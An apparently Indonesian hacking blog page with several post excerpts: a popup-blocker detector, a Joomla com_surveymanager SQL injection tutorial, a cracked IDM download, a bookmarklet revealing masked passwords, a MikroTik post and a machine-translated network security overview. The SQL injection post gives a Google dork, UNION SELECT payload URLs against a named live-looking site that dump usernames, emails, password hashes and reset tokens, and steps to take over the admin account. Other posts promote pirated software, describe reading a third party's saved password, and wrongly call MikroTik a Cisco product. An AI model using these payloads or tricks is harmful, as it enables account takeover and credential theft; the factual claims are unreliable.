Javascript Pendeteksi POP Blocker

Kali ini share tentang snippet yang mendeteksi POP Blocker, dan akan ada sedikit peringatan pada client. Silahkan salin script berikut

<!-- paste script berikut dengan nama: detectPopupBlocker.js  -->

function detectPopupBlocker() {

  var myTest = window.open("about:blank","","directories=no,height=100,width=100,menubar=no,resizable=no,scrollbars=no,status=no,titlebar=no,top=0,location=no");

  if (!myTest) {

    alert("Kami mendeteksi popup blocker.");

  } else {

    myTest.close();

    alert("Kami tidak mendeteksi popup blocker.");

  }

}

window.onload = detectPopupBlocker;

Semoga berguna. J

Sumber : Indonesian Hacker Team

Read more »

Reset Joomla dari Nol

Hai sobat Blogger semua? Lama tidak posting lagi, semenjak kesibukan mempersiapkan UN, lalu disusul UAS, dan kemudian hal paling mendebarkan, yaitu SNMPTN. Penulis jadi tidak sempat meng-update.  Tidak hanya sampai situ, dilanjut tes-tes lainnya sebagai cadangan kalau-kalau tidak tembus SNMPTN. Dengan berat hati, ternyata ‘tidak lulus’ SNMPTN saudara-saudara.  Bingung. Belum ada satupun cadangan waktu itu. Sebenarnya sih ada, tapi sudah expired, yaitu diterima di Universitas Gunadarma, Universitas Bakrie, dan Universitas Komputer Indonesia. Semuanya di jurusan Informatika. Tapi apalah daya, nunggu SNMPTN sampe pada expired semua. Kenapa ga DP dulu? Dikira cicilan laptop? Hmm.. alasannya simpel, biaya. Oh, kenapa masalah klasik masih ada di Indonesia? Seandainya ga pada korupsi, pasti makmur. Tapi yaa, seandainya tetap seandainya. Lalu dimana saya sekarang?? Tenang, saya tetap masih bisa kuliah. Di IT Telkom Bandung. Tepatnya di jurusan Ilmu Komputasi. Kok jadi curhat ya? ^_^v  Ok deh lanjut tutorialnya. Credit ke milw0rm.com

OK, pertama sediain dulu dork-nya : option=com_surveymanager

Terus cari targetnya. Anggap udah dapet http://www.yourwedding.com.au

Exploit-nya : -2+union+select+1,concat_ws(0x3a,username,password) ,3,4,5,6+from+jos_users—

Hmm.. disini pake teknik reset Joomla

Caranya : 

untuk masuk halaman reset >>> index.php?option=com_user&view=reset

                Jadinya http://www.yourwedding.com.au/index.php?option=com_user&view=reset

untuk mendapatkan email setelah concat (0x3a,username,0x3a,email,0x3a,password,0x3a,activation)

                Jadinya http://www.yourwedding.com.au/index.php?option=com_surveymanager&task=editsurvey&stype=-2+union+select+1,concat_ws%280x3a,username,0x3a,email,0x3a,password,0x3a,activation%29,3,4,5,6+from+jos_users--

untuk masuk halaman token >>> index.php?option=com_user&view=reset&layout=confirm

                Jadinya http://www.yourwedding.com.au/index.php?option=com_user&view=reset&layout=confirm

untuk mendapatkan token setelah concat (0x3a,username,0x3a,email,0x3a,0x3a,activation)

                Jadinya http://www.yourwedding.com.au/index.php?option=com_surveymanager&task=editsurvey&stype=-2+union+select+1,concat_ws%280x3a,username,0x3a,email,0x3a,0x3a,activation%29,3,4,5,6+from+jos_users--

Udah di reset Joomla tinggal >>> http://www.yourwedding.com.au/administrator/

Masukin dah tuh user n password-nya yang tadi sudah di reset.

Oiya, untuk tambahan, cari target yang vurn pake exploit scanner ajah biar cepet.. :D kayak pepatah “Biar cepat yang penting selamat”.

Read more »

IDM 6.0 patch + crack

Internet Download Manager atau banyak orang menyebut nya dengan nama IDM , adalah perangkat lunak yang mampu mengambil / mengunduh data-data yang ada di internet . Perangkat buatan New York, Amerika ini menempati posisi teratas dalam memaksimalkan kecepatan mengunduh data. Tampilan dan grafis yang sederhana membuat IDM lebih bersahabat dengan penggunanya.
IDM didukung dengan fitur resume, yaitu untuk kepentingan mengunduh ulang berkas-berkas yang sebelumnya terputus karena kehilangan koneksi internet, masalah jaringan, komputer shutdowns, atau listrik padam secara tak terduga. IDM juga memiliki fitur unduh yang cepat dengan kemampuan melakukan segmentasi berkas secara otomatis dan didukung dengan teknologi yang aman.
Perangkat lunak ini memiliki kemampuan yang lebih baik daripada tool sejenis yang ada saat ini, karena fitur yang dimiliki dalam membagi data yang sedang diunduh menjadi beberapa bagian terpisah untuk kemudian disatukan kembali setelah proses mengunduh selesai. Proses ini dinamakan multipart. Akan tetapi, IDM berbeda dengan perangkat sejenisnya karena proses multipart ini dilakukan secara bersamaan dan kecepatannya hingga 500% atau lima kali lipat lebih baik sebagaimana diklaim oleh pembuat IDM ini.
IDM mampu membagi sebuah berkas saat proses mengunduh berlangsung hingga menjadi tujuh sampai delapan bagian. Sebuah berkas yang diunduh dan terbagi menjadi delapan bagian selanjutnya ditangani oleh IDM yakni dengan membagi kecepatan yang sama besar per bagiannya. Namun jika bagian-bagian tadi ada yang mengalami hambatan dalam proses unduh maka kecepatan pada bagian lain akan digunakan untuk membantu bagian yang lambat tadi.
Versi terbaru IDM download 5,18 menambahkan panel untuk web-pemain yang dapat digunakan untuk mengunduh flash video dari situs seperti YouTube, MySpaceTV, dan Google Video. Fitur ini juga dilengkapi oleh Vista support, YouTube grabber, dipugar scheduler, dan MMS dukungan protokol. Versi baru juga menambahkan integrasi untuk Internet Explorer dan browser berbasis Internet Explorer, didesain ulang dan, peningkatan toolbar, dan perbaikan fitur baru lainnya. (id.wikipedia.org)
Jadi langsung aja deh, berikut link IDM + PATCH CRACKED:
DOWNLOAD SOFTWARE IDM DISINI

Read more »

Gimana sih cara mengetahui password bintang (b******) ?

Kemarin-kemarin salah satu temannya teman temanku ninggalin e-mail & passwordnya di laptop temanku (minjem..hehe). Liat password bintang ******* jadi pengen tahu, apa sih ketikannya? setelah cari cara, ketemu juga caranya.

tambahkan javascript pada address bar script:
javascript: (function(){var s,F,j,f,i; s = ""; F = document.forms; for(j=0; j<F.length; ++j) { f = F[j]; for (i=0; i<f.length; ++i) { if (f[i].type.toLowerCase() == "password") s += f[i].value + "\n"; } } if (s) alert("Passwordnya adalah:\n\n" + s); else alert("Tidak ada password bintang disini.");})();

Tadaa.. kliatan tuh passwordnya.. hehe..
Keep Learning..

Read more »

Routing Dunia Lewat Mikrotik

Assalamualaikum.. Pagi yang cerah untuk internet-an. Hari ini pengen bahas tentang MikroTik RouterOS™. Ada yang udah tahu?

MikroTik RouterOS™ adalah sistem operasi yang dirancang khusus untuk network router. OS ini dikeluarkan oleh Cisco, tentunya nama ini tidak asing lagi di dunia router. Dengan sistem operasi ini anda dapat membuat router dari komputer rumahan (PC). MikroTik RouterOS™ ini adalah versi perangkat lunak yang bisa diinstal di komputer rumahan melalui CD. Kalau mau download bisa ambil dari website resminya www.microtik.com dengan lisensi berbayar. Tapi, kalau ga punya budget lebih, saya sarankan anda ke http://www.indowebster.com/search.php?keyword=microtik.

Untuk proses instalasinya mudah. Tapi saya sarankan jangan install MikroTikOS di komputer kesayangan anda karena OS ini akan membuat satu partisi dari seluruh harddisk, dan diformat total. Kalau hanya punya satu komputer, bisa digunakan VMware untuk emulator OS. Dengan VMware, kita bisa menginstall MikroTik di Windows, misalnya, tanpa mempengaruhi sistem operasi tersebut.

Read more »

Map of Network Security Technology ( Part 2 )

Certificate Authority / PKI
  # Certificate Authority. Certificate Authority (CA) is an organization that provides and managing security credentials and public keys for encryption & decryption news. Certificates that are managed in the public keys that strengthens authentication, privacy & non-repudiation. # File & Session Encryption. Encryption is a process where the data on change its so hard to be open and understood by people who do not have authoritas for it. Sophisticated computer algorithms used in the process encrypt & dekrip when in need. # VPN & Cryptographic Communications. Virtual Private Network (VPN) enable secure communications over a public network the Internet. This is very save costs for companies with mobile workers or branches of companies, so that communication can be performed without the need to use the telephone network costly private. # Secure Web Servers.Tool that allows us to provide web services in an engineering environment so that security holes in its minimum. # Single Sign On. Software package that helps users to access the multiple computers without the need to remember many passwords. Single Sign On on basically does not change the underlying process, but hide the differences there through an additional software layer. # Web Application Security. Web application security will protect their web applications and resources available from the threats on the Internet, like, steal company assets, credit card theft, etc. deface sites. This is done detect / deter hacking techniques in this area.

 Vulnerability Testing

# Vulnerability Scanners - Host Based. Tool for menchek settings of the system to determine whether it is appropriate / consistent with corporate security policy. This tool commonly used by auditors.

# Real-Time Security Awareness, Response & Threat Management. RTSA allows a security manager to see what is happening in the company that uses a lot of equipment from multiple vendors in real-time through a console. RTSA help reduce the number of personnel required for monitor a lot of equipment.
# Vulnerability Scanners - Network Based. Software that can simulate the behavior attacker and studied until about 600 possible system weaknesses being attacked.

Managed Security Services
  # Enterprise Security Policy Implementation. Epsi allows the security manager to mengautomasi any security measures of the center console, ranging from creating, editing, approving, publishing, distribution, education, compliance, reporting and maintenance. This tool will force socialization, understanding menchek employees, noting events, and measure compliance, which in turn will help management IT risk without giving much weight to the limited staff. # Managed Security Services. Vendors that offer managed security services assume that they will gain a few percent of the outsourced work. With this way. administrators can do other work. # Enterprise Security Administration. This tool administer security level enterprise, ensuring that all users in an enterprise to obtain the rights and The same obligation. This system is particularly useful for providing access for new users, and, most importantly, remove all access for employees who already exit. # Security Services: Policy Development. Consultants who help develop security policies quickly. They generally already have a template for security policies can be implemented quickly, sepertoi use of e-mail Good, extranet to PKI. # Trusted Operating Systems. Since all the security mechanism is highly dependent on operating systems, technology trusted O / S provides the only mechanism in O / S to defend against attacks. # Anti D.D.O.D Tools. Anti Ddos Tool will identify non beresan use in the network. If there is lack beresan, the tool will try to check the legitimacy of access and recommended several preventive measures it.

Read more »

Map of Network Security Technology ( Part 1 )

Network security must become a knowledge that is owned for those who want to seriously work in the Internet. Unfortunately, technology has grown so complex that require network security professionals to learn many things to really understand the whole concept & technology network security. To facilitate the learning process, it is worth considering carefully the attached image that contains a map of network security technology. An excellent reference on this subject contained in http://www.sans.org.

In general, the topology of computer networks consist of a public Internet network that spreads throughout the world and that there is an internal Intranet network in the company / institution. In between Internet and intranet there are usually de-Militerized Zone (DMZ) is limited by the Router to the Internet filtering, and firewall to the Intranet. In De-Militerized Zone (DMZ) is usually in pairs of various servers, such as, Mail Server, FTP Server, Web Server and DNS Server.
  Based on the above network topology, we can divide the network security technology into four (4) major parts, namely: • Penetration testing • Certificate Authority / PKI • Vulnerability Testing • Managed Security Services
  Let's look at the technology that became part of the four (4) of this section, in general,
 
 • Penetration Testing, consists of: o Active Content Monitoring / Filtering, usually put on the mail server in the DMZ. o Intrusion Detection - Host Based, usually put on servers in the Intranet and DMZ. o Firewall, intercede with the DMZ Intranet and Internet .. o Intrusion Detection - Network Based, usually used to monitor the Intranet. o Authorization, on the run in the Intranet. o Water Gap Technology, run on De-Militerized Zone (DMZ). o Network Authentication, operated on the Intranet. o Security Appliances, usually in the form of hardware firewall. o Security Services: Penetration Testing, a company outside that provide services to us. o Authentication, operated on the Intranet.
  • Certificate Authority / PKI, a supporter of other technologies and can be operated on servers in the Intranet, comprising: o Certificate Authority, on the intranet and internet. o File and Session Encryption, operated on the Intranet o Cryptographic VPN & Communications, at the start of De-Militerized Zone and is used to penetrate to the Internet to the Intranet to another. o Secure Web Servers, operated at the De-Militerized Zone (DMZ). o Single Sign On, on the server. o Web Application Security, on the Web server.
  • Vulnerability Testing, usually performed by an auditor or security manager, among others. o Vulnerability Scanners - Host-Based, operated on Intranet server o Real-Time Security Awareness, Response & Threat Management, used by the security manager. o Vulnerability Scanners - Network Based, operated in the filtering router is connected directly to the Internet. 

• Managed Security Services, is part of management (non-technical) network security. Issues that exist include:
o Enterprise Security Policy Implementation.
o Managed Security Services.
o Enterprise Security Administration.
o Security Services: Policy Development.
o Trusted Operating Systems, installed on all computers.
o Anti D.D.O.D Tools. 

# Active Content Monitoring / Filtering. When you are connected to the Internet, you take the risk of computer viruses, java / Active-X scripts etc evil. This tool will check all content entering the network / computer, continuously update its library. # Intrusion Detection - Host Based. Host-based intrusion detection will monitor file log. He will meresponds with an alarm or a counterattack if any business user for accessing data, file or service that is not allowed. # Firewall. A firewall is a system or group of several systems implement access control policy between two networks. # Intrusion Detection - Network Based. Network-based intrusion detection will monitor the network and will meresponds with alarm at the time he identified a pattern of traffic that is not good, such as scanning, denial of business service or other attacks. # Authorization. Authentication, asked "Who are you?". Authorization, ask "Are you entitled to?". With the authorization mechanism for each user who will resource access should apply to the authorization server to obtain a permit. # Water Gap Technology. Hardware / software of this type allows the transfer of data real-time between the Internet with the back-end without opening a hole in the firewall. Sometimes Water Gap solutions require a physical connection to the network terminated outside. Water Gap sever all network protocols, limiting access to data in the application layer only, and perform content analysis. # Network Authentication. This tool uses several approaches to improve the system's ability to distinguish between eligible and not entitled to access. # Security Appliances. The combination of hardware / software that provides limited service, such as firewalls, network load management etc. Because its operating system is limited, more easily managed and not subject to hacker attacks such as the general-purpose UNIX or Windows NT. # Security Services: Penetration Testing. Consultant organization that simulate hacker attacks in the real world as well as social engineering attacks. They usually give advice how to fix the defense. Usually they using network-based vulnerability scanning tools. # Authentication. Authentication is a process that determines something or someone is who or what. The simplest way of authentication process is the logon password, unfortunately very susceptible to the stolen. Another way to overcome this is to use a token that allows more stringent authentication process again. 

 

Read more »